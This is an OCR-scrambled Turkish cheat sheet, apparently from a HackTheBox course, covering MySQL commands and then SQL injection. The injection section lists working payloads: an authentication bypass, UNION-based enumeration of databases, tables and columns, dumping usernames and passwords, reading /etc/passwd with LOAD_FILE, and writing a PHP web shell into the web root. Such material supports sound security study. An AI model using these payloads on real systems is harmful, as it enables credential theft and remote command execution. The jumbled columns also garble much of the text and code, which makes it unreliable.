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MySQL (cont)

URL Encode

Giris yapmak mysgl -u root -p Tim CREATE TABLE logins ( id ' %27
Giris mysql -u root -h bu INT NOT NULL AUTO INCR- « 255
yaparken docker.hackthebox.eu ozelli-  EMENT, username VARCHA- # 223
hostve port  —p 3306 -p klerin R (100) UNIQUE NOT NULL,

belirtimi dahili  3ssword VARCHAR(100) NOT ’ 538
Database CREATE DATABASE OMed NULL, date_of joining ) A
yaratmak users; DATETIME DEFAULT NOW(),

Databaseleri

SHOW DATABASES;

PRIMARY KEY (id) );

SQL Komutlar

gormek e Varsayilan MySQL/MariaDB portu INSERT  Tabloya yeni LR DS
, kayitlar INTO
Database USE users; 3306°dir. By —
_h- _p- e 1zl logins-
vl ® -h: Host , -P: Port , -p: Parola . 9
.. e Komutlarinin sonuna ; koymayi unutma Sagil: (us-
Ornek tablo CREATE TABLE logins
ername,
olusturumu ( id INT, username
Sonug Kisitlama ve Siralama password)
VARCHAR (100) , VALUES
(1C(] *
password VARCHA- Kugukten SELECT * FROM R
buylge i johnt,
R(100), date of 3- yug logins ORDER BY -
- siralamak : 'Jjohnl-
oining DATETIME ) ; password; 3
. . * - ’
Tablo DESCRIBE logins; Buyukten SELECT = FROM (' tom®
yapisini kaguge logins ORDER BY S
gormek siralamak password DESC; -
Tabloyaher ~ id INT NOT NULL Birdenfazla ~ SELECT * FROM .
y * SELECT Tablodan veri SELECT *
eleman AUTO_INCREMENT parametreye  logins ORDER BY .
— B cekmemizi FROM
ekledigimde gore password DESC, id .
saglar. Yildiz table -
ID’sinin siralamak ASC: . O _
- _ isareti (*) joker name;
dizenli Sonuglari SELECT * FROM karakter islevi
olarak kisitlamak logins LIMIT 3; gorir ve tim
artmasini .
istiyorum Index SELECT * FROM stitunlar secer.
degerine gére  logins LIMIT 0, 1, FROM anahtar
Bir VARCHA - 5zcliGi -
username sonug 2, sb6zcugu, aralar:
degiskenin i
g., R(100) UNIQUE NOT TR Indan segim
essiz NULL v | — | I yapilacak tabloyu
¢ Varsayilan olarak sonuglarin siralanmasi . -
olmasini y 5 belirtmek icin
o ascending order yani kiiglikten biytge
istiyorum g y £ B vag kullanilr.
v | B artan sekilde olur. Bunun spesifik olarak
arsayilan ate of joining o i . o e
bir ded - - belirtimi ASC seklindedir. Biylkten kiiclige D@l el mysql>
ir deger DATETIME DEFAULT . ) e igerisi
azalan sekilde bir belirtim icin DESC kullan- TS (il 21500
atamak NOW () i ve database TABLE
PRIMARY PRIMARY KEY (id) silmek igin logins;
KEY atamasi DROP komutu
kullanilir.
ALTER Tablo situnlar tzerinde belirli

degisiklikler yapmak igin kullan-

ihr.
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SQL Komutlan (cont) Sorgu Sonug Filtrelemesi (cont)

- Yeni
sltun
eklemek

- Bir
sttunu
yeniden
adland-
irmak

- Situnun
veri tipini
degist-
irmek

- Sltunu

silmek

UPDATE Belirli
kayitlar
Uzerinde
degisiklik
yapmak
icin kullan-
ihr.

ALTER TABLE
logins ADD
newColumn

INT;

ALTER TABLE
logins RENAME
COLUMN
newColumn TO

oldColumn;

ALTER TABLE
logins MODIFY
0ldColumn

DATE;

ALTER TABLE
logins DROP

oldColumn;

UPDATE logins
SET password

= 'change p-

assword'

WHERE id > 1;

® ALTER tablo 6zelliklerini degistirmeye
yararken, UPDATE komutu belirli kayitlar
Uzerinde degisiklik yapmaya yarar.

® DROP komutu silmeden 6nce herhangi

bir onay istemez.

Sorgu Sonug Filtrelemesi

WHERE Filtreleme SELECT *
yapmak ya da FROM
spesifik bir table name
veriyi aramak WHERE_<CO_
igin kullanilir. AL e

By FHK
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LIKE LIKE belirli bir kalilba  SELECT *
ya da sablona uyan FROM
verileri belirlememizi  16gins
saglar. % isareti WHERE
ddnecek veriyi username
referans eder yani LIKE
kelimeden sonra 'adming ' ;
gelen her karakteri
bunyesine alir.

_ isareti ise % SELECT *
isaretinin aksine FROM
yalnizca tek bir logins
karakterle eslesir. WHERE
Burada 3 karakter SETERATE
uzunlugunda arama 1ike

yapilhr. , .

¢ WHERE sartinda sayi/ardogrudan kullan-
ilabilirken, string ve tarih veri turleri
baslarinda tek tirnak (') veya cift tirnak (") ile
belirtiimelidirler.

SQL Injection

admin' OR '1'='1  Temel Bypass
Yontemi

admin') -- - Yorum Satirh
Bypass Yontemi

' order by 1-- -  Situn Sayisi
Belirleme

' UNION select Situn Sayisi

1,2,3-- - Belirleme

' UNION select Temel Union

1,@@version, 3,4~ Injectionile

Versiyon Kesfi
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SQL Injection (cont)

'UNION select username,
2, 3, 4 from passwords-

' UNION select 1,sche-
ma name, 3,4 from
INFORMATION SCHEMA.SC-

HEMATA-- -

' UNION select 1,TABL-
E NAME, TABLE SCHEMA, 4
from INFORMATION SCH-
EMA.TABLES where

table schema='dev'-- -

' UNION select 1,COLU-
MN NAME, TABLE NAME, TA-
BLE SCHEMA from INFORM-
ATION SCHEMA.COLUMNS

where table name='cre-

dentials'-- -

' UNION select 1,
username, password, 4

from dev.credentials--

' UNION SELECT 1,

user(), 3, 4-- -

' UNION SELECT 1,
super priv, 3, 4 FROM
mysgl.user WHERE

user="root"-- -

' UNION SELECT 1,
grantee, privilege-
_type, is grantable
FROM information sch-
ema.user privileges

WHERE user="root"-- -

Dort
sttunda
union
injection
ornegi
Tdm Veri
Tabanl-
arini
Listele

Belirli Bir
Veri
Tabani-
ndaki
Tdm
Tablolari
Listele
Spesifik
Bir
Tablodaki
Tdm
Satunlari
Listele

Tablo
Adi,
Satunu
Belli
Tabloyu
Oku

Haliha-
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Admin
Yetkil-
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Kullan-
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oruz?
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SQL Injection (cont)
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' UNION SELECT 1, MySQL
variable name, variab- ile Hang
le value, 4 FROM Dizinlere
information schema.gl- Erisil-
obal variables where ebilir?
variable name="secure -

file priv"-- -

UNION SELECT 1, LOAD F-  Yerel
ILE ("/etc/passwd"), 3, Dosya
4-- - Okuma
' UNION SELECT 1, 'file Yerel
written successfu- Dosyaya
11y!',3,4 into outfile String
'/var/www/html/proof.t- Yazma
xt'-- -

' UNION SELECT "", '<? Web
php system($ REQUES- Shell
T[0]); ?>', "", "" into  Yazimi

outfile '/var/www/ht-

ml/shell.php'-- -

4 UNION sorgularinda segilen situnlarin
tim pozisyonlardaki veri tipleri ayni
olmalidir.

4 Asil sorgu olan soldaki sorgu ne kadar
slitun barindiriyorsa sagina yazacagimiz
UNION sorgusu da o kadar situn barind-
irmahdir. Ornegin:

SELECT * from products where
product id UNION SELECT
username, 2, 3, 4 from passwo-
welg== Y

¢ LOAD_FILE() ile kaynak kod sizdirabi-
lirsin.

¢ Web shell yazmak icin web root'u bilmen
gerekir.
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